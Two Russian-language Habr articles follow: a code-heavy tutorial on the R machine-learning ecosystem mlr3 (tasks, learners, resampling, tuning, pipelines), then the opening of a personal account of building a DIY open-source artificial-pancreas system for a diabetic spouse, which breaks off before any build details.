Пакет **caret** является первой реализацией инфраструктуры для построения моделей машинного обучения на R и одной из первых библиотек такого рода в целом (релиз на CRAN состоялся в 2007 году). В 2013 году по уже классическому на тот момент пакету была издана не менее классическая книга [Applied Predictive Modeling](http://appliedpredictivemodeling.com/), которую в комплекте с [официальной документацией](https://topepo.github.io/caret/index.html) и сейчас можно рекомендовать в качестве вводного практического руководства по машинному обучению.
Преимущества:
* простота использования для стандартных задач (без экзотических схем кросс-валидации и многоуровневого стекинга);
* реализованы классические способы разбивки данных для (кросс-)валидации, функции предварительной обработки типа шкалирования, импутации и удаления коррелирующих признаков, метрики качества и методы отбора признаков;
* поддерживается [огромное количество](https://topepo.github.io/caret/available-models.html) моделей, работать с которыми по отдельности без **caret**-овских оберток довольно неудобно из-за неунифицированных интерфейсов;
* достаточно разумный выбор настраиваемых гиперпараметров — например, для **xgboost** это оказывающие наибольшее влияние на качество параметры `nrounds`, `max_depth`, `eta`, `gamma`, `colsample_bytree`, `min_child_weight` и `subsample`.
Недостатки:
* первый минус является следствием последнего из перечисленных преимуществ — если хочется настраивать дополнительные гиперпараметры, придется написать свою обертку для соответствующей модели. Создание таких оберток является достаточно [трудоемким](https://topepo.github.io/caret/using-your-own-model-in-train.html);
* модели трактуются как алгоритмы машинного обучения без этапа предварительной обработки данных и создания признаков: этот этап выполняется на всех данных, а не внутри ресемплов при перекрестной проверке. Пакет **recipes** частично решает данную проблему, но об этом ниже;
* нет вложенной кросс-валидации (nested resampling), ограниченные возможности для создания ансамблей при помощи пакета **caretEnsemble**.
##### tidyverse strikes back
Своебразной работой над ошибками стало создание [семейства пакетов](https://github.com/tidymodels) под общей вывеской **tidymodels**, основными из которых являются **recipes** (отвечает за создание «рецептов» предварительной обработки данных, исполняемых внутри ресемплов с обучением на обучающей выборке и применением на обучающей и валидационной), **rsample** (обеспечивает различные варианты разбивки данных) и относительно новый **tune** (реализует собственно тюнинг гиперпараметров).
Преимущества:
* «рецепты» позволяют выполнять предварительную обработку данных внутри ресемплов, что является верным подходом для борьбы с переобучением;
* продвинутые методы предварительной обработки, в том числе реализованные в пакетах **embed** и **textrecipes**;
* можно настраивать любые гиперпараметры моделей, а не определенное разработчиками пакета их подмножество. Также можно настраивать гиперпараметры этапов предобработки (пакет **tune**);
* пакет **workflows** добавляет абстракцию для модели как комбинации «рецепта» и алгоритма машинного обучения.
Недостатки:
* чтобы работать с самими вариантами предобработки как с гиперпараметрами, возможностей пакета **tune** недостаточно. «Рецепт» нужно параметризировать, написав для этого функцию, а затем перебрать разные варианты предобработки при помощи цикла либо `apply`/`map`-функции;
* создание собственных этапов предобработки является исключительно запутанным и сложным для дебага. Например, для реализации кодирования средним или медианой пришлось [написать](https://github.com/statist-bhfz/recipes/blob/target_encoder/R/target_encoder.R) 200 строк кода;
* вложенную кросс-валидацию и ансамбли нужно реализовывать вручную.
##### mlr3 vs все остальные
Пакет **mlr3** и экосистема вокруг него также представляют собой попытку исправить недостатки как более раннего пакета **mlr** тех же авторов, так и рассмотренных выше **caret** и **tidymodels**. **mlr** подробно рассматривать не будем ввиду того, что его развитие было остановлено в пользу **mlr3**.
Преимущества:
* в основе лежат R6-классы, в качестве бекенда по умолчанию для табличных данных используется **data.table**;
* все процессы построения моделей объединены в граф вычислений. В составе этого графа можно задать любую схему перекрестной проверки и ансамблирования, перебрать разные модели с тюнингом гиперпараметров для каждой из них и разные варианты предобработки;
* вместо отдельных этапов с разными API для предобработки, создания признаков и обучения модели используется `learner` — абстракция для модели как совокупности алгоритма машинного обучения и всех этапов трансформации данных;
* модульность и относительная простота расширения.
Недостатки:
* стандартные проблемы пакетов на стадии активной разработки: не все фичи реализованы, местами не хватает примеров (этот недостаток активно исправляется), попадаются мертвые ссылки в документации;
* выбор поддерживаемых моделей пока что невелик.
#### 2. Технические детали: R6-классы и пакет data.table
В основе экосистемы **mlr3** лежат «нормальное» ООП, реализуемое путем использования [R6-классов](https://r6.r-lib.org/). R6-объекты являются изменяемыми, что позволяет работать с ними без копирования и перезаписи. Подробно изучить тему можно по официальной документации и книге [Advanced R](https://adv-r.hadley.nz/r6.html), мы же ограничимся кратким примером, позаиствованным из упомянутой книги.
Новый R6-класс создается вызовом функции `R6Class()`:
```
library(R6)
Accumulator <- R6Class("Accumulator", list(
sum = 0,
add = function(x = 1) {
self$sum <- self$sum + x
invisible(self)
})
)
```
Имя объекта должно совпадать с именем класса — в данном случае это `"Accumulator"`.
У объектов есть метод `new()`, который позволяет создавать (или, как любят говорить настоящие программисты, инстанцировать) экземпляры класса:
```
x <- Accumulator$new()
```
Функции, заданные внутри списка при определении класса, доступны как методы у экземпляров данного класса:
```
x$add(4)
x$sum
#> [1] 4
```
R6-объекты передаются по ссылке:
```
y1 <- Accumulator$new()
y2 <- y1
y1$add(10)
c(y1 = y1$sum, y2 = y2$sum)
#> y1 y2
#> 10 10
```
Поэтому для создания копий нужно вызывать метод `clone()` (указав `clone(deep = TRUE)` для рекурсивного копирования вложенных объектов):
```
y1 <- Accumulator$new()
y2 <- y1$clone()
y1$add(10)
c(y1 = y1$sum, y2 = y2$sum)
#> y1 y2
#> 10 0
```
Это все, что нужно знать об R6 в контексте использования пакетов семейства **mlr3**.
Также целям устранения ненужного копирования и повышения скорости работы служит использование **data.table** в качестве бекенда по умолчанию (можно почитать [перевод документации](https://bookdown.org/statist_/DataTableManual/), недавний хабрапост [Вокруг data.table](https://habr.com/ru/post/493132/) и короткий обзор [data.table: выжимаем максимум скорости при работе с данными в языке R](https://habr.com/ru/company/microsoft/blog/316032/)). Киллер-фичей для использования в задачах машинного обучения является изменяемость таблиц `data.table`, позволяющая добавлять новые столбцы при помощи оператора `:=` без перезаписи всей таблицы. Например, можно добавить столбец предсказанных значений к таблице с обучающей выборкой, не используя при этом 2х памяти относительно объема, занимаемого самой таблице. А при последовательном добавлении признаков в таблицу становится заметной еще и экономия по времени, и чем тяжелее таблица, тем экономия существеннее.
#### 3. Основные составляющие ML-пайплайна в mlr3
*Источник: <https://mlr3book.mlr-org.com/>*
Минимальный пример решения задачи машинного обучения при помощи **mlr3** выглядит следующим образом:
```
library(mlr3)
# Задача
task <- TaskClassif$new(id = "iris",
backend = iris,
target = "Species")
task
# (150 x 5)
# \* Target: Species
# \* Properties: multiclass
# \* Features (4):
# - dbl (4): Petal.Length, Petal.Width, Sepal.Length, Sepal.Width
# Модель
# learner\_rpart <- mlr\_learners$get("classif.rpart")
learner\_rpart <- lrn("classif.rpart",
predict\_type = "prob",
minsplit = 50)
learner\_rpart
#
# \* Model: -
# \* Parameters: xval=0, minsplit=50
# \* Packages: rpart
# \* Predict Type: prob
# \* Feature types: logical, integer, numeric, factor, ordered
# \* Properties: importance, missings, multiclass, selected\_features, twoclass, weights
# Гиперпараметры модели
learner\_rpart$param\_set
# ParamSet:
# id class lower upper levels default value
# 1: minsplit ParamInt 1 Inf 20 50
# 2: minbucket ParamInt 1 Inf
# 3: cp ParamDbl 0 1 0.01
# 4: maxcompete ParamInt 0 Inf 4
# 5: maxsurrogate ParamInt 0 Inf 5
# 6: maxdepth ParamInt 1 30 30
# 7: usesurrogate ParamInt 0 2 2
# 8: surrogatestyle ParamInt 0 1 0
# 9: xval ParamInt 0 Inf 10 0
# Обучение
learner\_rpart$train(task, row\_ids = 1:120)
learner\_rpart$model
# n= 120
#
# node), split, n, loss, yval, (yprob)
# \* denotes terminal node
#
# 1) root 120 70 setosa (0.41666667 0.41666667 0.16666667)
# 2) Petal.Length< 2.45 50 0 setosa (1.00000000 0.00000000 0.00000000) \*
# 3) Petal.Length>=2.45 70 20 versicolor (0.00000000 0.71428571 0.28571429)
# 6) Petal.Length< 4.95 49 1 versicolor (0.00000000 0.97959184 0.02040816) \*
# 7) Petal.Length>=4.95 21 2 virginica (0.00000000 0.09523810 0.90476190) \*
```
В процессе участвуют две сущности: задача (task) и модель (learner).
Задача создается как экземпляр соответствующего класса (`TaskClassif` для классификации, `TaskRegr` для регрессии и т.д.) путем вызова метода `new()`. Нужно указать идентификатор задачи `id`, таблицу с данными `backend` и целевую переменную `target`; в случае бинарной классификации положительный класс задается параметром `positive`. Стандартные задачи можно получить с использованием альтернативного синтаксиса: `mlr_tasks$get("iris")` или `tsk("iris")`.
Модель извлекается из списка `mlr_learners` при помощи метода `get()` и затем обучается посредством вызова метода `train()`, в который передается наша задача `task` и строки выборки, участвующие в обучении. Но удобнее создавать модели с использованием синтаксического сахара: `lrn("classif.rpart", predict_type = "prob", minsplit = 50)`. В этом случае можно сразу задать настройки модели (`predict_type = "prob"`) и значения гиперпараметров (`minsplit = 50`). После создания модели их тоже легко поменять: `learner_rpart$predict_type <- "prob"`, `learner_rpart$param_set$values$minsplit = 50`.
Обученную модель используем для предсказания на новых данных при помощи метода `predict_newdata()`:
```
# Предсказание на новых данных
preds <- learner_rpart$predict_newdata(newdata = iris[121:150, ])
preds
# for 30 observations:
# row\_id truth response prob.setosa prob.versicolor prob.virginica
# 1 virginica virginica 0 0.0952381 0.90476190
# 2 virginica versicolor 0 0.9795918 0.02040816
# 3 virginica virginica 0 0.0952381 0.90476190
# ---
# 28 virginica virginica 0 0.0952381 0.90476190
# 29 virginica virginica 0 0.0952381 0.90476190
# 30 virginica virginica 0 0.0952381 0.90476190
```
Добавим кросс-валидацию с разбивкой на 5 фолдов:
```
cv10 <- rsmp("cv", folds = 5)
resample_results <- resample(task, learner_rpart, cv10)
# INFO [09:37:05.993] Applying learner 'classif.rpart' on task 'iris' (iter 1/5)
# INFO [09:37:06.018] Applying learner 'classif.rpart' on task 'iris' (iter 2/5)
# INFO [09:37:06.042] Applying learner 'classif.rpart' on task 'iris' (iter 3/5)
# INFO [09:37:06.074] Applying learner 'classif.rpart' on task 'iris' (iter 4/5)
# INFO [09:37:06.098] Applying learner 'classif.rpart' on task 'iris' (iter 5/5)
resample_results
# of 5 iterations
# \* Task: iris
# \* Learner: classif.rpart
# \* Warnings: 0 in 0 iterations
# \* Errors: 0 in 0 iterations
# Список других вариантов (кросс-)валидации:
as.data.table(mlr\_resamplings)
# key params iters
# 1: bootstrap repeats,ratio 30
# 2: custom 0
# 3: cv folds 10
# 4: holdout ratio 1
# 5: repeated\_cv repeats,folds 100
# 6: subsampling repeats,ratio 30
```
Оценим качество полученной модели. Для этого вызовем метод `score()` у объекта с ресемплами `resample_results`, передав ему список из двух метрик — accuracy `"classif.acc"` и classification error `"classif.ce"`. Метрики также хранятся в списке, элементы которого извлекаются методом `get()`: `mlr_measures$get("classif.ce")`. Но мы вновь воспользуемся синтаксическим сахаром в виде функции `msrs()`:
```
resample_results$score(msrs(c("classif.acc", "classif.ce")))[, 5:10]
# Выводим часть столбцов
# resampling resampling_id iteration prediction classif.acc classif.ce
# 1: cv 1 0.8666667 0.13333333
# 2: cv 2 0.9666667 0.03333333
# 3: cv 3 0.9333333 0.06666667
# 4: cv 4 0.9666667 0.03333333
# 5: cv 5 0.9333333 0.06666667
```
#### 4. Настройка гиперпараметров
Осталось самое главное — произвести настройку гиперпараметров модели. Тут все немного сложнее, и вызовом одного метода дело не ограничится.
Прежде всего зададим пространство для перебора значений гиперпараметров. Этим функционалом заведует отдельный пакет **paradox**:
```
library("paradox")
searchspace <- ParamSet$new(list(
ParamDbl$new("cp", lower = 0.001, upper = 0.1),
ParamInt$new("minsplit", lower = 1, upper = 10)
))
searchspace
# ParamSet:
# id class lower upper levels default value
# 1: cp ParamDbl 0.001 0.1
# 2: minsplit ParamInt 1.000 10.0
```
Мы сконструировали новый объект класса `ParamSet`, определив в нем диапазон проверяемых значений для числового параметра `cp` и целочисленного параметра `minsplit`; остальные гиперпараметры нашей модели `rpart` оставим по умолчанию.
Важным моментом является то, что объект `searchspace` не содержит в себе никаких реальных значений. Эти значения будут сгенерированы при вызове метода `tune()` объекта класса `Tuner`. Границы диапазонов всегда включаются в набор значений. Количество проверяемых вариантов задается числом `resolution`, если нужно равное количество для всех гиперпараметров, или именованным вектором `param_resolutions`, если нужно разное количество для разных гиперпараметров. Кроме того, фактическое число проверяемых комбинаций ограничивается бюджетом на вычисления, но об этом чуть позже.
Функция `generate_design_grid()` позволяет получить таблицу значений гиперпараметров, по которой будет проводиться перебор:
```
generate_design_grid(searchspace,
param_resolutions = c("cp" = 2, "minsplit" = 3))
# with 6 rows:
# cp minsplit
# 1: 0.001 1
# 2: 0.001 5
# 3: 0.001 10
# 4: 0.100 1
# 5: 0.100 5
# 6: 0.100 10
```
Также реализованы другие способы генерации сетки значений: `generate_design_random()` для случайной выборки из диапазона и `generate_design_lhs()` для создания дизайна эксперимента методом [латинского гиперкуба](https://en.wikipedia.org/wiki/Latin_hypercube_sampling).
Как уже было сказано, фактическое число проверяемых комбинаций можно ограничить. Для этого существуют различные варианты `Terminator`-ов, реализующие ограничения по времени, количеству проверямых моделей (мы используем именно его), достижению целевого качества или выходу на плато. Для дальнейшей работы понадобится пакет **mlr3tuning**:
```
library("mlr3tuning")
evals20 <- term("evals", n_evals = 20)
evals20
#
# \* Parameters: n\_evals=20
# Другие варианты
as.data.table(mlr\_terminators)
# key
# 1: clock\_time
# 2: combo
# 3: evals
# 4: model\_time
# 5: none
# 6: perf\_reached
# 7: stagnation
```
Объединим все ингредиенты в один объект класса `TuningInstance`:
```
tuning_instance <- TuningInstance$new(
task = TaskClassif$new(id = "iris",
backend = iris,
target = "Species"),
learner = lrn("classif.rpart",
predict_type = "prob"),
resampling = rsmp("cv", folds = 5),
measures = msr("classif.ce"),
param_set = ParamSet$new(
list(ParamDbl$new("cp", lower = 0.001, upper = 0.1),
ParamInt$new("minsplit", lower = 1, upper = 10)
)
),
terminator = term("evals", n_evals = 20)
)
tuning_instance
#
# \* State: Not tuned
# \* Task:
# \* Learner:
# \* Measures: classif.ce
# \* Resampling:
# \* Terminator:
# \* bm\_args: list()
# \* n\_evals: 0
# ParamSet:
# id class lower upper levels default value
# 1: cp ParamDbl 0.001 0.1
# 2: minsplit ParamInt 1.000 10.0
```
Создадим тюнер — объект класса `Tuner`, реализующий ту или иную стратегию перебора значений гиперпараметров:
```
tuner <- tnr("grid_search",
resolution = 5,
batch_size = 2)
# Другие варианты
# as.data.table(mlr_tuners)
# key
# 1: design_points
# 2: gensa
# 3: grid_search
# 4: random_search
```
Мы указали `resolution = 5`, что для двух гиперпараметров означает проверку 25 комбинаций. Но фактически будет проверено лишь 20 случайным образом выбранных комбинаций, поскольку мы задали `terminator = term("evals", n_evals = 20)`. `batch_size` — неудачно выбранное название параметра, определяющего количество параллельно обучаемых моделей. Параллелизация в **mlr3** — отдельная большая тема, выходящая за пределы данной статьи.
Заслуживает внимания тюнер `tnr("design_points")`: он позволяет передать созданную заранее таблицу со значениями гиперпараметров, что зачастую удобнее генерации из диапазонов (особенно если нужно перебрать значений на логарифмической шкале — без готовой таблицы придется использовать достаточно громоздкий механизм преобразования параметров, который в **mlr3** тоже есть).
Наконец, запустим процесс:
```
result <- tuner$tune(tuning_instance)
result
# NULL
```
Как видим, `result` не содержит ничего. Это потому, что вызов `tuner$tune()` приводит к изменению объекта `tuning_instance`:
```
tuning_instance$result
# $tune_x
# $tune_x$cp
# [1] 0.001
#
# $tune_x$minsplit
# [1] 5
#
#
# $params
# $params$xval
# [1] 0
#
# $params$cp
# [1] 0.001
#
# $params$minsplit
# [1] 5
#
#
# $perf
# classif.ce
# 0.04
result <- tuning_instance$archive(unnest = "params")
result[order(classif.ce), c("cp", "minsplit", "classif.ce")]
# cp minsplit classif.ce
# 1: 0.00100 5 0.04000000
# 2: 0.00100 3 0.04000000
# 3: 0.00100 8 0.04000000
# 4: 0.00100 1 0.04000000
# 5: 0.00100 10 0.04666667
# 6: 0.02575 10 0.06000000
# 7: 0.07525 5 0.06000000
# 8: 0.02575 8 0.06000000
# 9: 0.02575 3 0.06000000
# 10: 0.05050 1 0.06000000
# 11: 0.07525 3 0.06000000
# 12: 0.07525 1 0.06000000
# 13: 0.05050 3 0.06000000
# 14: 0.02575 5 0.06000000
# 15: 0.05050 5 0.06000000
# 16: 0.05050 8 0.06000000
# 17: 0.10000 3 0.06000000
# 18: 0.10000 8 0.06000000
# 19: 0.05050 10 0.06000000
# 20: 0.10000 1 0.06000000
library(ggplot2)
ggplot(result,
aes(x = cp, y = classif.ce, color = as.factor(minsplit))) +
geom_line() +
geom_point(size = 3)
```
Рассмотрим подробнее, что именно происходит после вызова метода `tune()`:
1. `Tuner` использует как минимум один набор значений гиперпараметров (он может использовать несколько наборов в параллельном режиме в зависимости от значения параметра `batch_size`);
2. для каждого набора значений гиперпараметров модель `Learner` обучается на задаче `Task` согласно заданной схеме ресемплов. Результаты сохраняются в объекте класса `ResampleResult` (совокупность таких объектов хранится в объекте `BenchmarkResult`);
3. `Terminator` проверяет, не исчерпался ли бюджет на вычисления. Если нет, снова переходим к пункту 1, и так до тех пор, пока бюджет не закончится;
4. определяется набор значений гиперпараметров с наилучшим качеством модели;
5. сохраняются значения гиперпараметров и полученные метрики качества, усредненные по ресемплам (другие варианты агрегирования метрики можно задать при ее создании, например, `msr("classif.ce", aggregator = "median")`.
Дополнительную информацию о результатах обучения моделей можно получить из объекта `tuning_instance$bmr`, имеющего класс `BenchmarkResult`, при помощи его метода `score()` или функции `as.data.table(tuning_instance$bmr)`. Что происходит на уровне отдельных ресемплов, можно понять, используя аналогичный метод для объектов `ResampleResult` из таблицы `tuning_instance$archive()`:
```
tuning_instance$archive()[1, resample_result][[1]]$score()[, 4:9]
# learner_id resampling resampling_id iteration prediction classif.ce
# 1: classif.rpart cv 1 0.06666667
# 2: classif.rpart cv 2 0.16666667
# 3: classif.rpart cv 3 0.03333333
# 4: classif.rpart cv 4 0.03333333
# 5: classif.rpart cv 5 0.00000000
```
Например, можем добавить к таблице значения метрики качества на каждом ресемпле:
```
res <- tuning_instance$archive(unnest = "params")
res[, ce_resemples := lapply(resample_result, function(x) x$score()[, classif.ce])]
ce_resemples <- res[, .(ce_resemples = unlist(ce_resemples)), by = nr]
res[ce_resemples, on = "nr"]
```
#### 5. Обзор экосистемы mlr3
С основными пакетами мы уже знакомы: это **mlr3**, **mlr3tuning** и **paradox**. Вся экосистема представлена на заглавной картинке и в [списке](https://github.com/mlr-org/mlr3/wiki/Extension-Packages), а основные пакеты можно поставить при помощи мета-пакета **mlr3verse**:
```
# install.packages("mlr3verse")
library(mlr3verse)
## Loading required package: mlr3
## Loading required package: mlr3db
## Loading required package: mlr3filters
## Loading required package: mlr3learners
## Loading required package: mlr3pipelines
## Loading required package: mlr3tuning
## Loading required package: mlr3viz
## Loading required package: paradox
```
* **mlr3db** позволяет подключать **dbplyr** в качестве бекенда вместо **data.table**.
* **mlr3filters** содержит алгоритмы отбора признаков, в том числе на основе встроенных в модели метрик важности признаков (пользоваться ими нужно [с осторожностью](https://explained.ai/rf-importance/)).
* **mlr3learners** является коллекцией моделей для регрессии (`regr.glmnet`, `regr.kknn`, `regr.km`, `regr.lm`, `regr.ranger`, `regr.svm`, `regr.xgboost`) и классификации (`classif.glmnet`, `classif.kknn`, `classif.lda`, `classif.log_reg`, `classif.multinom`, `classif.naive_bayes`, `classif.qda`, `classif.ranger`, `classif.svm`, `classif.xgboost`). Дополнительные модели можно найти в [отдельных пакетах](https://github.com/mlr3learners).
* **mlr3pipelines** содержит пайпы (pipelines), из которых строится вычислительный граф. Кроме того, в версии на гитхабе есть и целые вычислительные графы, которых пока нет в пакете на CRAN, так что лучше поставить именно ее: `remotes::install_github("https://github.com/mlr-org/mlr3pipelines")`.
* **mlr3tuning** был рассмотрен выше.
* **mlr3viz** служит для визуализации, в том числе отвечает за отрисовку вычислительных графов.
* **mlr3measures** — пакет с ~40 метриками качества. В состав **mlr3verse** не входит, нужно ставить руками.
Следите за страницами по представленным ссылкам, список пакетов будет пополняться.
#### 6. Пайпы и граф вычислений
Про пайпы (pipelines) можно было бы написать много, но много уже [написали](https://mlr3pipelines.mlr-org.com/articles/introduction.html) разработчики, поэтому постараемся максимально кратко изложить наиболее принципиальные для практического использования моменты.
Все операции — отбор признаков, преобразования, само обучение модели — абстрагируются в виде пайпов. Для моделей есть `PipeOpLearner()`, для отбора признаков — `PipeOpFilter()`, для всех остальных преобразований — `PipeOp()`. Мы используем синтаксический сахар (функция `po()`) для всех трех случаев:
```
pca <- po("pca")
filter <- po("filter",
filter = mlr3filters::flt("variance"),
filter.frac = 0.5)
learner_po <- po("learner",
learner = lrn("classif.rpart"))
```
Пайпы последовательно соединяются в граф при помощи оператора `%>>%`:
```
graph <- pca %>>% filter %>>% learner_po
graph$plot()
```
У пайпов есть входы и выходы. Для графов с более сложной структурой придется явно указывать, какой выход к какому входу последующего пайпа подключать:
```
gr <- Graph$new()$
add_pipeop(mlr_pipeops$get("copy", outnum = 2))$
add_pipeop(mlr_pipeops$get("scale"))$
add_pipeop(mlr_pipeops$get("pca"))$
add_pipeop(mlr_pipeops$get("featureunion", innum = 2))
gr$
add_edge("copy", "scale", src_channel = 1)$
add_edge("copy", "pca", src_channel = "output2")$
add_edge("scale", "featureunion", dst_channel = 1)$
add_edge("pca", "featureunion", dst_channel = 2)
gr$plot(html = FALSE)
```
Как сделать пайп из модели, мы уже видели (`po("learner", learner = lrn("classif.rpart"))`). В свою очередь, граф целиком можно сделать моделью:
```
glrn <- GraphLearner$new(graph)
glrn
#
# \* Model: -
# \* Parameters: variance.filter.frac=0.5, variance.na.rm=TRUE, classif.rpart.xval=0
# \* Packages: -
# \* Predict Type: response
# \* Feature types: logical, integer, numeric, character, factor, ordered, POSIXct
# \* Properties: importance, missings, multiclass, oob\_error, selected\_features, twoclass,
# weights
```
Получившийся объект относится к классам `GraphLearner` и `Learner`. Его можно использовать так же, как и рассмотренные выше простые `Learner`-ы, например:
```
resample(tsk("iris"), glrn, rsmp("cv"))
# INFO [17:17:00.358] Applying learner 'pca.variance.classif.rpart' on task 'iris' (iter 1/10)
# INFO [17:17:00.615] Applying learner 'pca.variance.classif.rpart' on task 'iris' (iter 2/10)
# INFO [17:17:00.881] Applying learner 'pca.variance.classif.rpart' on task 'iris' (iter 3/10)
# INFO [17:17:01.087] Applying learner 'pca.variance.classif.rpart' on task 'iris' (iter 4/10)
# INFO [17:17:01.303] Applying learner 'pca.variance.classif.rpart' on task 'iris' (iter 5/10)
# INFO [17:17:01.518] Applying learner 'pca.variance.classif.rpart' on task 'iris' (iter 6/10)
# INFO [17:17:01.716] Applying learner 'pca.variance.classif.rpart' on task 'iris' (iter 7/10)
# INFO [17:17:01.927] Applying learner 'pca.variance.classif.rpart' on task 'iris' (iter 8/10)
# INFO [17:17:02.129] Applying learner 'pca.variance.classif.rpart' on task 'iris' (iter 9/10)
# INFO [17:17:02.337] Applying learner 'pca.variance.classif.rpart' on task 'iris' (iter 10/10)
# of 10 iterations
# \* Task: iris
# \* Learner: pca.variance.classif.rpart
# \* Warnings: 0 in 0 iterations
# \* Errors: 0 in 0 iterations
```
Третьего дня была реализована невиданная ранее фича, которая обсуждалась в issue [How to deal with different preprocessing steps as hyperparameters](https://github.com/mlr-org/mlr3pipelines/issues/362):
```
gr <- pipeline_branch(list(pca = po("pca"), nothing = po("nop")))
gr$plot()
```
Рассмотренные в первом разделе **caret** и **tidymodels** так не умеют!
Надеюсь, данный пост был полезен и зародил интерес к дальнейшему изучению и использованию фреймворка **mlr3**. Подробнее можно почитать в книге [mlr3 book](https://mlr3book.mlr-org.com/) и в [галерее примеров](https://mlr3gallery.mlr-org.com/). | https://habr.com/ru/post/491566/ | null | ru | null |
# Как мы с женой повышали ее качество жизни с диабетом при помощи ИТ
*Всем привет! Меня зовут Андрей. Сегодня я расскажу о проекте, который делал для своей жены и при активном ее участии. Это устройство на Raspberry Pi с опенсорсным софтом для контроля сахара в крови с помощью данных мониторинга и команд, отдаваемых инсулиновой помпе.*
*Оговорюсь, что все это мы делали на свой страх и риск. Зарегистрированных медицинских устройств такого назначения не существует. Но мы не были готовы ждать, пока найдется энтузиаст, который разработает коммерческий инструмент и пройдет весь путь медицинской сертификации, чтобы продукт появился в магазинах.*
Моя жена с детства болеет диабетом 1 типа (осложнение после гриппа). Сегодня эта болезнь — уже не приговор. Если следить за питанием и уровнем сахара, можно прожить долгую полноценную жизнь.
За более чем 25 лет “стажа” диабетика моя жена не получила дополнительных осложнений — это говорит о том, что она умеет следить за своим здоровьем. До 2020 года она делала это “по-старинке” — использовала специальные тест-полоски для измерения сахара в крови несколько раз в день, вела блокнотик с результатами измерений, соблюдала диету и при необходимости подкалывала инсулин вручную. Но медицина идет вперед. С 2020 года она смогла жить по-другому.
Современный подход, одобренный медициной
----------------------------------------
В 2020 году жена решила попробовать мониторинг — пожалуй, наиболее существенное достижение техники из того, о чем я далее буду рассказывать. Средство для мониторинга — зарегистрированный коммерческий продукт, а не самопал. Его можно свободно купить в России в специализированных магазинах (с поправкой на сложности с логистикой в последние полгода).
### Мониторинг сахара
Система мониторинга представляет собой датчик с небольшой иголкой для проникновения через кожу, который прикрепляется на плечо и эксплуатируется в течение определенного времени. Жена использует Либру 1, которая устанавливается примерно на две недели. После этого датчик меняется на новый и отслеживание продолжается.
Мониторинг измеряет сахар раз в минуту — ты можешь в режиме реального времени видеть ситуацию через приложение для смартфона, куда данные отправляются раз в 5 минут. Сами по себе измерения менее точны, чем у обычного глюкометра, но уже позволяют немного ослабить диету и в целом повысить качество жизни на порядок, поскольку ты видишь данные в динамике. Самое главное, что такой мониторинг дает возможность анализировать происходящее, делать выводы и в будущем компенсировать все, что угодно, используя предыдущий опыт.
Сахар в крови поднимается от любого приема пищи. Но на разную еду организм реагирует по-разному (и каждый при этом по-своему). И на разный инсулин реакция тоже разная. И на кучу других факторов — физические нагрузки, стресс, гормоны, время года… Измеряя сахар всего несколько раз в день, нельзя найти строгую корреляцию между продуктами и результатом. Слишком поверхностными получаются данные. А с 12 точками в час ты можешь отслеживать реакцию организма на отдельные продукты, а впоследствии предсказывать, каков будет сахар, если ты съешь, например пирожное. В итоге пользуясь мониторингом, моя жена получает в течение суток хорошие результаты, как у здорового человека, даже не используя другие приборы, о которых речь пойдет дальше.
С заказом средств мониторинга сейчас есть определенная сложность — их приходится покупать за рубежом, и эта штука не дешевая — порядка 10 тыс. рублей на месяц. Мы стараемся заказывать на полгода — год вперед, чтобы не зависеть в короткой перспективе от внешнеполитических изменений. Насколько я знаю, в этом году в Московской области начали эксперимент [с раздачей систем мониторинга по ОМС, но только для детей](https://iz.ru/1361013/2022-07-07/podmoskove-obespechit-detei-s-sakharnym-diabetom-priborami-kontrolia-gliukozy) (и то не для всех). Возможно, когда-нибудь прогресс дотянется до всех диабетиков. Но пока взрослым больным искать их самому или пытаться добиться через суд (есть такие прецеденты при наличии клинических рекомендаций).
### Инсулиновая помпа
До недавнего времени жена при необходимости подкалывала себе инсулин шприц-ручкой. Вместо этого инсулин можно вводить через помпу. Она не отменяет потребности в уколах и не принимает за тебя никаких решений, но повышает удобство введения инсулина и гибкость управления (грубо говоря, порцию инсулина, что позволяет точнее управлять сахарами). Например, находясь в людном месте, ты видишь, что у тебя поднимается сахар. Вместо того, чтобы искать туалет или другое помещение, чтобы сделать себе инъекцию, ты можешь со специального пульта подать команду помпе.
Помпа — тоже довольно дорогая штука. Но в нашей стране некоторым категориям диабетиков ее выдают по ОМС. Моей жене повезло — помпу она получила как раз по страховке. Иначе пришлось бы покупать за свои деньги и на расходники к ней уходило бы еще 10 тыс. в месяц.
Почему этого недостаточно
-------------------------
Ни у помпы, ни у системы мониторинга нет собственных “мозгов”. Имея эти два инструмента, можно сделать себе почти идеальный сахар. Но будут сложности. Главная из них — это ночь, когда человек спит и не может постоянно контролировать уровень сахара на экране телефона. Моя жена настраивала уведомления — телефон будил ее, если уровень сахара выходил за определенные рамки вверх или вниз. Необходимые меры она предпринимала в ручном режиме — либо ела что-то быстро усваивающееся, если сахар слишком низкий, либо вводила себе инсулин, если сахар повышается.
Весь процесс наблюдения за сахаром подчиняется известному алгоритму. Почему бы не задействовать для этого некую систему, которая бы следила за графиком и сама отдавала команды помпе в зависимости от уровня сахара?
Опенсорс автоматизация
----------------------
Устройства, реализующие такую автоматизацию, существуют — называются петли или APS (Artificial Pancreas System — Искусственная Поджелудочная Железа, ИПЖ).
Проблема в том, что их нельзя купить ни в России, ни за рубежом — они существуют только в форме опенсорс проектов, которые курируют сами диабетики, либо люди, как-то связанные с этим заболеванием. Коммерческих предложений пока просто не существует.
В некоторых помпах последних моделей есть примитивные зачатки подобных функций, но они далеки от искусственной поджелудочной. ИПЖ способна прогнозировать сахар наперед с учетом переданной информации о еде и физнагрузке, чтобы заранее скорректировать подачу инсулина. А самые современные помпы пока умеют только отключать подачу инсулина при слишком низком сахаре в крови. Этого недостаточно.
### Дисклаймер — все на свой страх и риск
Если выше речь шла о медицинских устройствах, которые прошли соответствующие испытания и сертификацию, пусть не все из них в России, то дальнейший рассказ будет о самоделках, которые не проходили клинических испытаний вообще (если не считать эксперименты на себе их создателей и рядовых пользователей). Разрабатываются они энтузиастами, которые могут ошибаться, и ошибаются. Поэтому каждый, кто решается на использование этого инструмента, фактически подписывается на тестирование на себе чего-то нового.
В интернете вы можете найти предложения от энтузиастов, которые разобрались в этой системе и могут за деньги собрать и настроить такую штуку. Два года назад это стоило около 35 тыс. рублей. Но все они работают неофициально. Результаты их работы не проходили никакого тестирования.
Два года назад мы с женой приняли решение поэкспериментировать с автоматизацией. На тот момент мы стояли перед выбором — связаться с таким энтузиастом или подключить собственные мозги и смекалку, создав устройство своими силами по инструкциям опенсорс проектов. Я почитал о том, как все это устроено, и понял, что лучше разбираться самому — мне вполне хватит знаний это сделать. И речь тут не только про экономию денег. Если устройство выйдет из строя, мне не придется искать потом этого энтузиаста и заново оплачивать его работу.
